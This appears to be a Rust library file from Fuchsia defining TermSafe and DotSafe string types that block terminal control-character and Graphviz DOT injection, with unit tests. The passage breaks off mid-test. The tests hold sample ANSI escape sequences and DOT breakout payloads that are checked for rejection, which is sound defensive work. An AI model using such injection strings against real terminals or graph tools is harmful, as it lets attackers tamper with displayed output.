Skip to main content

safe_string/
lib.rs

1// Copyright 2026 The Fuchsia Authors. All rights reserved.
2// Use of this source code is governed by a BSD-style license that can be
3// found in the LICENSE file.
4
5use serde::{Deserialize, Deserializer, Serialize, Serializer};
6use std::borrow::{Borrow, Cow};
7use std::convert::AsRef;
8use std::error::Error;
9use std::ffi::OsStr;
10use std::fmt::{self, Debug, Display, Formatter};
11use std::ops::Deref;
12use std::path::{Path, PathBuf};
13use std::str::FromStr;
14
15/// Returns `true` if `c` is a control character that could affect terminal state.
16///
17/// This checks for both C0 (U+0000..=U+001F) and C1 (U+0080..=U+009F) control codes
18/// as well as DEL (U+007F).
19#[inline]
20pub const fn is_control_character(c: char) -> bool {
21    c.is_control()
22}
23
24/// Returns `true` if `s` contains any control characters.
25#[inline]
26pub fn contains_control_characters(s: &str) -> bool {
27    s.chars().any(is_control_character)
28}
29
30/// An error indicating that a control character was found in a string when constructing
31/// a [`SafeString`].
32#[derive(Clone, Copy, Debug, PartialEq, Eq)]
33pub struct ControlCharError {
34    /// The byte index in the string where the first control character was encountered.
35    pub byte_index: usize,
36    /// The control character that was encountered.
37    pub character: char,
38}
39
40impl ControlCharError {
41    /// Returns the byte index where the control character occurred.
42    pub fn byte_index(&self) -> usize {
43        self.byte_index
44    }
45
46    /// Returns the control character that caused the failure.
47    pub fn character(&self) -> char {
48        self.character
49    }
50}
51
52impl Display for ControlCharError {
53    fn fmt(&self, f: &mut Formatter<'_>) -> fmt::Result {
54        write!(
55            f,
56            "string contains control character {:?} (U+{:04X}) at byte index {}",
57            self.character, self.character as u32, self.byte_index
58        )
59    }
60}
61
62impl Error for ControlCharError {}
63
64/// A safe string type that prevents terminal control injection attacks.
65///
66/// Terminal emulators interpret certain ASCII and Unicode control characters
67/// (such as `ESC`, `CR`, `LF`, `BEL`, `BS`, and C1 controls) as commands to modify
68/// terminal state. These control characters can change text formatting and colors,
69/// move the cursor, overwrite earlier lines, clear the screen, or trigger terminal
70/// operating system commands (OSC).
71///
72/// When untrusted strings (such as target names, device serial numbers, log messages,
73/// or network metadata) are printed to the terminal, malicious or malformed inputs
74/// containing control characters could alter terminal display or disguise output.
75#[derive(Clone, Default, PartialEq, Eq, PartialOrd, Ord, Hash)]
76pub struct TermSafe(String);
77
78impl TermSafe {
79    /// Constructs a `TermSafe` by replacing all control characters with ([`char::REPLACEMENT_CHARACTER`] / `\u{FFFD}`)
80    pub fn from_str_lossy(s: impl AsRef<str>) -> Self {
81        let redacted: String = s
82            .as_ref()
83            .chars()
84            .map(|c| if is_control_character(c) { char::REPLACEMENT_CHARACTER } else { c })
85            .collect();
86        Self(redacted)
87    }
88
89    /// Constructs a `TermSafe` by escaping all control characters with [`char::escape_default`].
90    pub fn from_str_escaped(s: impl AsRef<str>) -> Self {
91        let s = s.as_ref();
92        if !contains_control_characters(s) {
93            return Self(s.to_owned());
94        }
95        let mut out = String::with_capacity(s.len());
96        for c in s.chars() {
97            if is_control_character(c) {
98                out.extend(c.escape_default());
99            } else {
100                out.push(c);
101            }
102        }
103        Self(out)
104    }
105
106    /// Returns a slice referencing the contained string.
107    pub fn as_str(&self) -> &str {
108        &self.0
109    }
110
111    /// Returns the contained string.
112    pub fn into_inner(self) -> String {
113        self.0
114    }
115}
116
117impl Deref for TermSafe {
118    type Target = str;
119
120    fn deref(&self) -> &Self::Target {
121        &self.0
122    }
123}
124
125impl AsRef<str> for TermSafe {
126    fn as_ref(&self) -> &str {
127        &self.0
128    }
129}
130
131impl AsRef<Path> for TermSafe {
132    fn as_ref(&self) -> &Path {
133        Path::new(&self.0)
134    }
135}
136
137impl AsRef<OsStr> for TermSafe {
138    fn as_ref(&self) -> &OsStr {
139        OsStr::new(&self.0)
140    }
141}
142
143impl AsRef<[u8]> for TermSafe {
144    fn as_ref(&self) -> &[u8] {
145        self.0.as_bytes()
146    }
147}
148
149impl Borrow<str> for TermSafe {
150    fn borrow(&self) -> &str {
151        &self.0
152    }
153}
154
155impl Display for TermSafe {
156    fn fmt(&self, f: &mut Formatter<'_>) -> fmt::Result {
157        Display::fmt(&self.0, f)
158    }
159}
160
161impl Debug for TermSafe {
162    fn fmt(&self, f: &mut Formatter<'_>) -> fmt::Result {
163        f.debug_tuple("TermSafe").field(&self.0).finish()
164    }
165}
166
167impl From<TermSafe> for String {
168    fn from(safe_string: TermSafe) -> Self {
169        safe_string.0
170    }
171}
172
173impl From<TermSafe> for PathBuf {
174    fn from(safe_string: TermSafe) -> Self {
175        PathBuf::from(safe_string.0)
176    }
177}
178
179impl<'a> From<TermSafe> for Cow<'a, str> {
180    fn from(safe_string: TermSafe) -> Self {
181        Cow::Owned(safe_string.0)
182    }
183}
184
185impl<'a> From<&'a TermSafe> for Cow<'a, str> {
186    fn from(safe_string: &'a TermSafe) -> Self {
187        Cow::Borrowed(safe_string.as_str())
188    }
189}
190
191impl TryFrom<&str> for TermSafe {
192    type Error = ControlCharError;
193
194    fn try_from(s: &str) -> Result<Self, Self::Error> {
195        if let Some((byte_index, character)) =
196            s.char_indices().find(|(_, c)| is_control_character(*c))
197        {
198            Err(ControlCharError { byte_index, character })
199        } else {
200            Ok(Self(s.to_owned()))
201        }
202    }
203}
204
205impl TryFrom<String> for TermSafe {
206    type Error = ControlCharError;
207
208    fn try_from(s: String) -> Result<Self, Self::Error> {
209        Self::try_from(s.as_str())
210    }
211}
212
213impl FromStr for TermSafe {
214    type Err = ControlCharError;
215
216    fn from_str(s: &str) -> Result<Self, Self::Err> {
217        Self::try_from(s)
218    }
219}
220
221impl PartialEq<str> for TermSafe {
222    fn eq(&self, other: &str) -> bool {
223        self.0 == other
224    }
225}
226
227impl PartialEq<&str> for TermSafe {
228    fn eq(&self, other: &&str) -> bool {
229        self.0 == *other
230    }
231}
232
233impl PartialEq<String> for TermSafe {
234    fn eq(&self, other: &String) -> bool {
235        &self.0 == other
236    }
237}
238
239impl PartialEq<TermSafe> for str {
240    fn eq(&self, other: &TermSafe) -> bool {
241        self == &other.0
242    }
243}
244
245impl PartialEq<TermSafe> for &str {
246    fn eq(&self, other: &TermSafe) -> bool {
247        *self == &other.0
248    }
249}
250
251impl PartialEq<TermSafe> for String {
252    fn eq(&self, other: &TermSafe) -> bool {
253        self == &other.0
254    }
255}
256
257impl<'a> PartialEq<Cow<'a, str>> for TermSafe {
258    fn eq(&self, other: &Cow<'a, str>) -> bool {
259        self.0 == **other
260    }
261}
262
263impl<'a> PartialEq<TermSafe> for Cow<'a, str> {
264    fn eq(&self, other: &TermSafe) -> bool {
265        **self == other.0
266    }
267}
268
269impl Serialize for TermSafe {
270    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
271    where
272        S: Serializer,
273    {
274        self.0.serialize(serializer)
275    }
276}
277
278impl<'de> Deserialize<'de> for TermSafe {
279    fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
280    where
281        D: Deserializer<'de>,
282    {
283        let s = String::deserialize(deserializer)?;
284        TermSafe::try_from(s).map_err(serde::de::Error::custom)
285    }
286}
287
288/// Returns `true` if `c` is unsafe inside a Graphviz DOT string literal.
289///
290/// Unsafe characters include:
291/// - Double quotes (`"`) which can break out of string literals.
292/// - Backslashes (`\`) which serve as escape prefixes.
293/// - ASCII and Unicode control characters (C0, C1, DEL).
294#[inline]
295pub const fn is_dot_unsafe_character(c: char) -> bool {
296    c == '"' || c == '\\' || is_control_character(c)
297}
298
299/// Returns `true` if `s` contains any characters unsafe for Graphviz DOT format.
300#[inline]
301pub fn contains_dot_unsafe_characters(s: &str) -> bool {
302    s.chars().any(is_dot_unsafe_character)
303}
304
305/// An error indicating that an unsafe DOT character was found in a string when constructing
306/// a [`DotSafe`].
307#[derive(Clone, Copy, Debug, PartialEq, Eq)]
308pub struct DotCharError {
309    /// The byte index in the string where the first unsafe character was encountered.
310    pub byte_index: usize,
311    /// The unsafe character that was encountered.
312    pub character: char,
313}
314
315impl DotCharError {
316    /// Returns the byte index where the unsafe character occurred.
317    pub fn byte_index(&self) -> usize {
318        self.byte_index
319    }
320
321    /// Returns the unsafe character that caused the failure.
322    pub fn character(&self) -> char {
323        self.character
324    }
325}
326
327impl Display for DotCharError {
328    fn fmt(&self, f: &mut Formatter<'_>) -> fmt::Result {
329        write!(
330            f,
331            "string contains unsafe DOT character {:?} (U+{:04X}) at byte index {}",
332            self.character, self.character as u32, self.byte_index
333        )
334    }
335}
336
337impl Error for DotCharError {}
338
339/// A safe string type that prevents Graphviz DOT injection attacks.
340///
341/// Graphviz DOT syntax interprets double quotes (`"`) as string boundaries and backslashes
342/// (`\`) as escape characters. Control characters can corrupt graph parsers or trigger
343/// terminal escape sequence execution.
344///
345/// When untrusted identifiers (such as node monikers, driver URLs, device names, or service
346/// offer names) are emitted into DOT files, unescaped characters could allow an attacker
347/// to break out of attributes or inject arbitrary graph nodes, edges, or styling.
348#[derive(Clone, Default, PartialEq, Eq, PartialOrd, Ord, Hash)]
349pub struct DotSafe(String);
350
351impl DotSafe {
352    /// Constructs a `DotSafe` by escaping backslashes (`\` -> `\\`), double quotes (`"` -> `\"`),
353    /// newlines (`\n` and `\r\n` -> `\n`), and replacing any remaining control characters with
354    /// ([`char::REPLACEMENT_CHARACTER`] / `\u{FFFD}`).
355    pub fn from_str_lossy(s: impl AsRef<str>) -> Self {
356        let input = s.as_ref();
357        let mut escaped = String::with_capacity(input.len());
358        let mut chars = input.chars().peekable();
359        while let Some(c) = chars.next() {
360            match c {
361                '\\' => escaped.push_str("\\\\"),
362                '"' => escaped.push_str("\\\""),
363                '\n' => escaped.push_str("\\n"),
364                '\r' => {
365                    if chars.peek() == Some(&'\n') {
366                        chars.next();
367                        escaped.push_str("\\n");
368                    } else {
369                        escaped.push(char::REPLACEMENT_CHARACTER);
370                    }
371                }
372                c if is_control_character(c) => escaped.push(char::REPLACEMENT_CHARACTER),
373                c => escaped.push(c),
374            }
375        }
376        Self(escaped)
377    }
378
379    /// Returns a slice referencing the contained string.
380    pub fn as_str(&self) -> &str {
381        &self.0
382    }
383
384    /// Returns the contained string.
385    pub fn into_inner(self) -> String {
386        self.0
387    }
388}
389
390impl Deref for DotSafe {
391    type Target = str;
392
393    fn deref(&self) -> &Self::Target {
394        &self.0
395    }
396}
397
398impl AsRef<str> for DotSafe {
399    fn as_ref(&self) -> &str {
400        &self.0
401    }
402}
403
404impl Borrow<str> for DotSafe {
405    fn borrow(&self) -> &str {
406        &self.0
407    }
408}
409
410impl Display for DotSafe {
411    fn fmt(&self, f: &mut Formatter<'_>) -> fmt::Result {
412        Display::fmt(&self.0, f)
413    }
414}
415
416impl Debug for DotSafe {
417    fn fmt(&self, f: &mut Formatter<'_>) -> fmt::Result {
418        f.debug_tuple("DotSafe").field(&self.0).finish()
419    }
420}
421
422impl From<DotSafe> for String {
423    fn from(safe_string: DotSafe) -> Self {
424        safe_string.0
425    }
426}
427
428impl TryFrom<&str> for DotSafe {
429    type Error = DotCharError;
430
431    fn try_from(s: &str) -> Result<Self, Self::Error> {
432        if let Some((byte_index, character)) =
433            s.char_indices().find(|(_, c)| is_dot_unsafe_character(*c))
434        {
435            Err(DotCharError { byte_index, character })
436        } else {
437            Ok(Self(s.to_owned()))
438        }
439    }
440}
441
442impl TryFrom<String> for DotSafe {
443    type Error = DotCharError;
444
445    fn try_from(s: String) -> Result<Self, Self::Error> {
446        Self::try_from(s.as_str())
447    }
448}
449
450impl FromStr for DotSafe {
451    type Err = DotCharError;
452
453    fn from_str(s: &str) -> Result<Self, Self::Err> {
454        Self::try_from(s)
455    }
456}
457
458impl PartialEq<str> for DotSafe {
459    fn eq(&self, other: &str) -> bool {
460        self.0 == other
461    }
462}
463
464impl PartialEq<&str> for DotSafe {
465    fn eq(&self, other: &&str) -> bool {
466        self.0 == *other
467    }
468}
469
470impl PartialEq<String> for DotSafe {
471    fn eq(&self, other: &String) -> bool {
472        &self.0 == other
473    }
474}
475
476impl PartialEq<&String> for DotSafe {
477    fn eq(&self, other: &&String) -> bool {
478        &self.0 == *other
479    }
480}
481
482impl PartialEq<DotSafe> for str {
483    fn eq(&self, other: &DotSafe) -> bool {
484        self == &other.0
485    }
486}
487
488impl PartialEq<DotSafe> for &str {
489    fn eq(&self, other: &DotSafe) -> bool {
490        *self == &other.0
491    }
492}
493
494impl PartialEq<DotSafe> for String {
495    fn eq(&self, other: &DotSafe) -> bool {
496        self == &other.0
497    }
498}
499
500impl PartialEq<DotSafe> for &String {
501    fn eq(&self, other: &DotSafe) -> bool {
502        *self == &other.0
503    }
504}
505
506impl Serialize for DotSafe {
507    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
508    where
509        S: Serializer,
510    {
511        self.0.serialize(serializer)
512    }
513}
514
515impl<'de> Deserialize<'de> for DotSafe {
516    fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
517    where
518        D: Deserializer<'de>,
519    {
520        let s = String::deserialize(deserializer)?;
521        DotSafe::try_from(s).map_err(serde::de::Error::custom)
522    }
523}
524
525#[cfg(test)]
526mod tests {
527    use super::*;
528    use assert_matches::assert_matches;
529    use std::borrow::Borrow;
530    use std::collections::{BTreeSet, HashSet};
531
532    #[test]
533    fn test_accepts_clean_strings() {
534        let safe = TermSafe::try_from("hello-world_123").unwrap();
535        assert_eq!(safe.as_str(), "hello-world_123");
536        assert_eq!(safe.len(), 15);
537        assert!(!safe.is_empty());
538        assert_eq!(safe, "hello-world_123");
539
540        let empty = TermSafe::try_from("").unwrap();
541        assert_eq!(empty.as_str(), "");
542        assert_eq!(empty.len(), 0);
543        assert!(empty.is_empty());
544
545        let unicode = TermSafe::try_from("こんにちは 🚀 世界").unwrap();
546        assert_eq!(unicode.as_str(), "こんにちは 🚀 世界");
547    }
548
549    #[test]
550    fn test_rejects_ascii_control_characters() {
551        // ESC (\x1b)
552        assert_matches!(
553            TermSafe::try_from("hello\x1b[31mworld"),
554            Err(ControlCharError { byte_index: 5, character: '\x1b' })
555        );
556
557        // NUL (\x00)
558        assert_matches!(
559            TermSafe::try_from("\x00prefix"),
560            Err(ControlCharError { byte_index: 0, character: '\0' })
561        );
562
563        // BEL (\x07)
564        assert_matches!(
565            TermSafe::try_from("alert\x07"),
566            Err(ControlCharError { byte_index: 5, character: '\x07' })
567        );
568
569        // BS (\x08)
570        assert_matches!(
571            TermSafe::try_from("back\x08space"),
572            Err(ControlCharError { byte_index: 4, character: '\x08' })
573        );
574
575        // TAB (\t / \x09)
576        assert_matches!(
577            TermSafe::try_from("tab\tseparated"),
578            Err(ControlCharError { byte_index: 3, character: '\t' })
579        );
580
581        // LF (\n / \x0a)
582        assert_matches!(
583            TermSafe::try_from("line1\nline2"),
584            Err(ControlCharError { byte_index: 5, character: '\n' })
585        );
586
587        // CR (\r / \x0d)
588        assert_matches!(
589            TermSafe::try_from("line1\rline2"),
590            Err(ControlCharError { byte_index: 5, character: '\r' })
591        );
592
593        // DEL (\x7f)
594        assert_matches!(
595            TermSafe::try_from("delete\x7fchar"),
596            Err(ControlCharError { byte_index: 6, character: '\x7f' })
597        );
598    }
599
600    #[test]
601    fn test_rejects_c1_control_characters() {
602        // C1 CSI (\u{009B})
603        assert_matches!(
604            TermSafe::try_from("c1_\u{009b}_control"),
605            Err(ControlCharError { byte_index: 3, character: '\u{009B}' })
606        );
607
608        // C1 OSC (\u{009D})
609        assert_matches!(
610            TermSafe::try_from("c1_\u{009d}_osc"),
611            Err(ControlCharError { byte_index: 3, character: '\u{009D}' })
612        );
613
614        // C1 boundary U+0080
615        assert_matches!(
616            TermSafe::try_from("c1_\u{0080}"),
617            Err(ControlCharError { byte_index: 3, character: '\u{0080}' })
618        );
619
620        // C1 boundary U+009F
621        assert_matches!(
622            TermSafe::try_from("c1_\u{009f}"),
623            Err(ControlCharError { byte_index: 3, character: '\u{009F}' })
624        );
625    }
626
627    #[test]
628    fn test_multi_byte_utf8_error_index() {
629        // "こんにちは" is 15 bytes (3 bytes per character)
630        let s = "こんにちは\x1b[31m";
631        let err = TermSafe::try_from(s).unwrap_err();
632        assert_eq!(err.byte_index(), 15);
633        assert_eq!(err.character(), '\x1b');
634    }
635
636    #[test]
637    fn test_from_str_lossy() {
638        let s = "hello\x1b[31mworld\x07!";
639        let safe = TermSafe::from_str_lossy(s);
640        assert_eq!(
641            safe.as_str(),
642            &format!(
643                "hello{}[31mworld{}!",
644                char::REPLACEMENT_CHARACTER,
645                char::REPLACEMENT_CHARACTER
646            )
647        );
648
649        // String without control characters is unmodified
650        let clean = "clean_string";
651        assert_eq!(TermSafe::from_str_lossy(clean).as_str(), clean);
652    }
653
654    #[test]
655    fn test_conversions_and_traits() {
656        let safe = TermSafe::try_from("test string").unwrap();
657
658        // Display
659        assert_eq!(format!("{safe}"), "test string");
660
661        // Debug
662        assert_eq!(format!("{safe:?}"), "TermSafe(\"test string\")");
663
664        // Deref
665        assert!(safe.starts_with("test"));
666        assert!(safe.ends_with("string"));
667        assert_eq!(&safe[0..4], "test");
668
669        // AsRef
670        let s_ref: &str = safe.as_ref();
671        assert_eq!(s_ref, "test string");
672
673        // Borrow
674        let borrowed: &str = safe.borrow();
675        assert_eq!(borrowed, "test string");
676
677        // From / Into String
678        let owned: String = safe.clone().into();
679        assert_eq!(owned, "test string");
680        assert_eq!(safe.clone().into_inner(), "test string");
681
682        // FromStr
683        let parsed = "parsed_str".parse::<TermSafe>().unwrap();
684        assert_eq!(parsed, "parsed_str");
685        assert!("bad\nstr".parse::<TermSafe>().is_err());
686
687        // TryFrom
688        assert_eq!(TermSafe::try_from("good").unwrap(), "good");
689        assert!(TermSafe::try_from("bad\0").is_err());
690        assert_eq!(TermSafe::try_from(String::from("good_owned")).unwrap(), "good_owned");
691        assert!(TermSafe::try_from(String::from("bad\x1b_owned")).is_err());
692
693        // PartialEq comparisons
694        let s = TermSafe::try_from("abc").unwrap();
695        assert_eq!(s, "abc");
696        assert_eq!("abc", s);
697        assert_eq!(s, *"abc");
698        assert_eq!(*"abc", s);
699        assert_eq!(s, String::from("abc"));
700        assert_eq!(String::from("abc"), s);
701
702        // Default
703        let default_safe = TermSafe::default();
704        assert_eq!(default_safe, "");
705
706        // Path and OsStr
707        let path: &Path = safe.as_ref();
708        assert_eq!(path, Path::new("test string"));
709        let os_str: &OsStr = safe.as_ref();
710        assert_eq!(os_str, OsStr::new("test string"));
711        let bytes: &[u8] = safe.as_ref();
712        assert_eq!(bytes, b"test string");
713        let path_buf: PathBuf = safe.clone().into();
714        assert_eq!(path_buf, PathBuf::from("test string"));
715
716        // Cow
717        let cow_owned: Cow<'_, str> = safe.clone().into();
718        assert_eq!(cow_owned, Cow::Borrowed("test string"));
719        let cow_borrowed: Cow<'_, str> = (&safe).into();
720        assert_eq!(cow_borrowed, Cow::Borrowed("test string"));
721        assert_eq!(safe, Cow::Borrowed("test string"));
722        assert_eq!(Cow::Borrowed("test string"), safe);
723    }
724
725    #[test]
726    fn test_from_str_escaped() {
727        let s = "hello\x1b[31mworld\x07!\r\n";
728        let safe = TermSafe::from_str_escaped(s);
729        assert_eq!(safe.as_str(), "hello\\u{1b}[31mworld\\u{7}!\\r\\n");
730
731        // String without control characters is unmodified
732        let clean = "clean_string";
733        assert_eq!(TermSafe::from_str_escaped(clean).as_str(), clean);
734    }
735
736    #[test]
737    fn test_error_display() {
738        let err = TermSafe::try_from("foo\x1bbar").unwrap_err();
739        let display_msg = format!("{err}");
740        assert!(display_msg.contains("byte index 3"));
741        assert!(display_msg.contains("U+001B"));
742    }
743
744    #[test]
745    fn test_serde_json() {
746        let safe = TermSafe::try_from("serde_test").unwrap();
747        let json = serde_json::to_string(&safe).unwrap();
748        assert_eq!(json, "\"serde_test\"");
749
750        let deserialized: TermSafe = serde_json::from_str(&json).unwrap();
751        assert_eq!(deserialized, safe);
752
753        // Deserializing control characters should fail
754        let bad_json = "\"hello\\u001bworld\"";
755        let res: Result<TermSafe, _> = serde_json::from_str(bad_json);
756        assert!(res.is_err());
757    }
758
759    #[test]
760    fn test_is_control_and_contains_control() {
761        assert!(is_control_character('\x1b'));
762        assert!(is_control_character('\0'));
763        assert!(is_control_character('\n'));
764        assert!(!is_control_character('a'));
765        assert!(!is_control_character(' '));
766        assert!(!is_control_character('🦀'));
767
768        assert!(contains_control_characters("hello\nworld"));
769        assert!(!contains_control_characters("hello world 🦀"));
770    }
771
772    // =========================================================================
773    // DotSafe Unit Tests
774    // =========================================================================
775
776    #[test]
777    fn test_dot_safe_accepts_clean_alphanumeric() {
778        let safe = DotSafe::try_from("node_123-service").unwrap();
779        assert_eq!(safe.as_str(), "node_123-service");
780        assert_eq!(safe.len(), 16);
781        assert!(!safe.is_empty());
782        assert_eq!(safe, "node_123-service");
783    }
784
785    #[test]
786    fn test_dot_safe_accepts_allowed_punctuation() {
787        let punctuation = ".-_/:@~+=?!&()[]{}<>;,*^%$#|'";
788        let safe = DotSafe::try_from(punctuation).unwrap();
789        assert_eq!(safe.as_str(), punctuation);
790    }
791
792    #[test]
793    fn test_dot_safe_accepts_empty_and_spaces() {
794        let empty = DotSafe::try_from("").unwrap();
795        assert_eq!(empty.as_str(), "");
796        assert_eq!(empty.len(), 0);
797        assert!(empty.is_empty());
798
799        let spaces = DotSafe::try_from("   hello world   ").unwrap();
800        assert_eq!(spaces.as_str(), "   hello world   ");
801    }
802
803    #[test]
804    fn test_dot_safe_accepts_multibyte_unicode() {
805        let unicode_samples = [
806            "こんにちは 🚀 世界",
807            "你好 驱动节点",
808            "Geräteüberwachung üöäß",
809            "Café résumé",
810            "∀x ∈ ℝ : x² ≥ 0",
811            "שלום עולם",
812            "مرحبا بالعالم",
813            "🦀✨🔒",
814        ];
815
816        for sample in unicode_samples {
817            let safe = DotSafe::try_from(sample).unwrap();
818            assert_eq!(safe.as_str(), sample);
819        }
820    }
821
822    #[test]
823    fn test_dot_safe_from_str_lossy_double_quotes() {
824        assert_eq!(DotSafe::from_str_lossy("foo").as_str(), "foo");
825        assert_eq!(DotSafe::from_str_lossy(r#""foo""#).as_str(), r#"\"foo\""#);
826        assert_eq!(DotSafe::from_str_lossy(r#""""#).as_str(), r#"\"\""#);
827        assert_eq!(DotSafe::from_str_lossy(r#"a"b"c"#).as_str(), r#"a\"b\"c"#);
828        assert_eq!(DotSafe::from_str_lossy("\"\"\"\"").as_str(), r#"\"\"\"\""#);
829    }
830
831    #[test]
832    fn test_dot_safe_from_str_lossy_backslashes() {
833        assert_eq!(DotSafe::from_str_lossy(r#"\path\to"#).as_str(), r#"\\path\\to"#);
834        assert_eq!(DotSafe::from_str_lossy(r#"foo\"#).as_str(), r#"foo\\"#);
835        assert_eq!(DotSafe::from_str_lossy(r#"\foo"#).as_str(), r#"\\foo"#);
836        assert_eq!(DotSafe::from_str_lossy(r#"foo\\bar"#).as_str(), r#"foo\\\\bar"#);
837    }
838
839    #[test]
840    fn test_dot_safe_from_str_lossy_combinations() {
841        assert_eq!(DotSafe::from_str_lossy(r#""foo\"bar""#).as_str(), r#"\"foo\\\"bar\""#);
842        assert_eq!(DotSafe::from_str_lossy(r#"\"#).as_str(), r#"\\"#);
843        assert_eq!(DotSafe::from_str_lossy(r#"\""#).as_str(), r#"\\\""#);
844        assert_eq!(DotSafe::from_str_lossy(r#"\\""#).as_str(), r#"\\\\\""#);
845        assert_eq!(DotSafe::from_str_lossy(r#"a"b\c"d\e"#).as_str(), r#"a\"b\\c\"d\\e"#);
846        assert_eq!(
847            DotSafe::from_str_lossy(r#"\"foo\\\"bar\""#).as_str(),
848            r#"\\\"foo\\\\\\\"bar\\\""#
849        );
850    }
851
852    #[test]
853    fn test_dot_safe_from_str_lossy_newlines() {
854        assert_eq!(DotSafe::from_str_lossy("line1\nline2").as_str(), "line1\\nline2");
855        assert_eq!(DotSafe::from_str_lossy("line1\r\nline2").as_str(), "line1\\nline2");
856        assert_eq!(
857            DotSafe::from_str_lossy("line1\rline2").as_str(),
858            format!("line1{}line2", char::REPLACEMENT_CHARACTER)
859        );
860        assert_eq!(DotSafe::from_str_lossy("\n\n\n").as_str(), "\\n\\n\\n");
861        assert_eq!(DotSafe::from_str_lossy("\r\n\r\n").as_str(), "\\n\\n");
862    }
863
864    #[test]
865    fn test_dot_safe_from_str_lossy_control_characters() {
866        let rep = char::REPLACEMENT_CHARACTER;
867
868        // NUL
869        assert_eq!(DotSafe::from_str_lossy("hello\0world").as_str(), format!("hello{rep}world"));
870
871        // BEL, BS, TAB
872        assert_eq!(
873            DotSafe::from_str_lossy("a\x07b\x08c\td").as_str(),
874            format!("a{rep}b{rep}c{rep}d")
875        );
876
877        // ESC, DEL
878        assert_eq!(
879            DotSafe::from_str_lossy("ansi\x1b[31mred\x7f").as_str(),
880            format!("ansi{rep}[31mred{rep}")
881        );
882
883        // C1 controls
884        assert_eq!(
885            DotSafe::from_str_lossy("c1_\u{0080}_\u{009b}_\u{009f}").as_str(),
886            format!("c1_{rep}_{rep}_{rep}")
887        );
888
889        // Mixed with newlines and quotes
890        assert_eq!(
891            DotSafe::from_str_lossy("alert\x07: \"status\"\ncode\x1b").as_str(),
892            format!("alert{rep}: \\\"status\\\"\\ncode{rep}")
893        );
894    }
895
896    #[test]
897    fn test_dot_safe_rejects_quotes() {
898        assert_matches!(
899            DotSafe::try_from(r#"hello"world"#),
900            Err(DotCharError { byte_index: 5, character: '"' })
901        );
902        assert_matches!(
903            DotSafe::try_from(r#""start"#),
904            Err(DotCharError { byte_index: 0, character: '"' })
905        );
906        assert_matches!(
907            DotSafe::try_from(r#"end""#),
908            Err(DotCharError { byte_index: 3, character: '"' })
909        );
910    }
911
912    #[test]
913    fn test_dot_safe_rejects_backslashes() {
914        assert_matches!(
915            DotSafe::try_from(r#"hello\world"#),
916            Err(DotCharError { byte_index: 5, character: '\\' })
917        );
918        assert_matches!(
919            DotSafe::try_from(r#"\start"#),
920            Err(DotCharError { byte_index: 0, character: '\\' })
921        );
922        assert_matches!(
923            DotSafe::try_from(r#"end\"#),
924            Err(DotCharError { byte_index: 3, character: '\\' })
925        );
926    }
927
928    #[test]
929    fn test_dot_safe_rejects_newlines_and_tabs() {
930        assert_matches!(
931            DotSafe::try_from("line1\nline2"),
932            Err(DotCharError { byte_index: 5, character: '\n' })
933        );
934        assert_matches!(
935            DotSafe::try_from("line1\r\nline2"),
936            Err(DotCharError { byte_index: 5, character: '\r' })
937        );
938        assert_matches!(
939            DotSafe::try_from("line1\rline2"),
940            Err(DotCharError { byte_index: 5, character: '\r' })
941        );
942        assert_matches!(
943            DotSafe::try_from("tab\tseparated"),
944            Err(DotCharError { byte_index: 3, character: '\t' })
945        );
946    }
947
948    #[test]
949    fn test_dot_safe_rejects_control_characters() {
950        // NUL
951        assert_matches!(
952            DotSafe::try_from("\0prefix"),
953            Err(DotCharError { byte_index: 0, character: '\0' })
954        );
955        // ESC
956        assert_matches!(
957            DotSafe::try_from("ansi\x1b[31m"),
958            Err(DotCharError { byte_index: 4, character: '\x1b' })
959        );
960        // BEL
961        assert_matches!(
962            DotSafe::try_from("alert\x07"),
963            Err(DotCharError { byte_index: 5, character: '\x07' })
964        );
965        // DEL
966        assert_matches!(
967            DotSafe::try_from("del\x7fchar"),
968            Err(DotCharError { byte_index: 3, character: '\x7f' })
969        );
970        // C1 controls
971        assert_matches!(
972            DotSafe::try_from("c1_\u{0080}"),
973            Err(DotCharError { byte_index: 3, character: '\u{0080}' })
974        );
975        assert_matches!(
976            DotSafe::try_from("c1_\u{009b}"),
977            Err(DotCharError { byte_index: 3, character: '\u{009B}' })
978        );
979        assert_matches!(
980            DotSafe::try_from("c1_\u{009f}"),
981            Err(DotCharError { byte_index: 3, character: '\u{009F}' })
982        );
983    }
984
985    #[test]
986    fn test_dot_safe_multibyte_utf8_error_index() {
987        // "日本語" is 9 bytes (3 bytes per character)
988        let s1 = "日本語\"test";
989        let err1 = DotSafe::try_from(s1).unwrap_err();
990        assert_eq!(err1.byte_index(), 9);
991        assert_eq!(err1.character(), '"');
992
993        // "🦀" is 4 bytes
994        let s2 = "🦀\\shell";
995        let err2 = DotSafe::try_from(s2).unwrap_err();
996        assert_eq!(err2.byte_index(), 4);
997        assert_eq!(err2.character(), '\\');
998
999        // "Café" is 5 bytes ('é' is 2 bytes)
1000        let s3 = "Café\u{009b}bar";
1001        let err3 = DotSafe::try_from(s3).unwrap_err();
1002        assert_eq!(err3.byte_index(), 5);
1003        assert_eq!(err3.character(), '\u{009B}');
1004    }
1005
1006    #[test]
1007    fn test_dot_safe_error_display_and_trait() {
1008        let err = DotSafe::try_from(r#"foo"bar"#).unwrap_err();
1009        assert_eq!(err.byte_index(), 3);
1010        assert_eq!(err.character(), '"');
1011
1012        let msg = format!("{err}");
1013        assert!(msg.contains("byte index 3"));
1014        assert!(msg.contains("U+0022"));
1015
1016        // Verify std::error::Error
1017        let _: &dyn std::error::Error = &err;
1018    }
1019
1020    #[test]
1021    fn test_dot_safe_attack_node_breakout() {
1022        let payload = "\"}; node [color=red]; {\"";
1023        assert!(DotSafe::try_from(payload).is_err());
1024
1025        let escaped = DotSafe::from_str_lossy(payload);
1026        assert_eq!(escaped.as_str(), r#"\"}; node [color=red]; {\""#);
1027
1028        // Rendering inside a DOT node definition
1029        let dot_line = format!(r#"    "{}" [label="{}"]"#, "node_1", escaped);
1030        assert_eq!(dot_line, r#"    "node_1" [label="\"}; node [color=red]; {\""]"#);
1031    }
1032
1033    #[test]
1034    fn test_dot_safe_attack_attribute_tampering() {
1035        let payload = r#"] label="injected" [ "#;
1036        assert!(DotSafe::try_from(payload).is_err());
1037
1038        let escaped = DotSafe::from_str_lossy(payload);
1039        assert_eq!(escaped.as_str(), r#"] label=\"injected\" [ "#);
1040
1041        let dot_line = format!(r#"    "node_1" [label="{}"]"#, escaped);
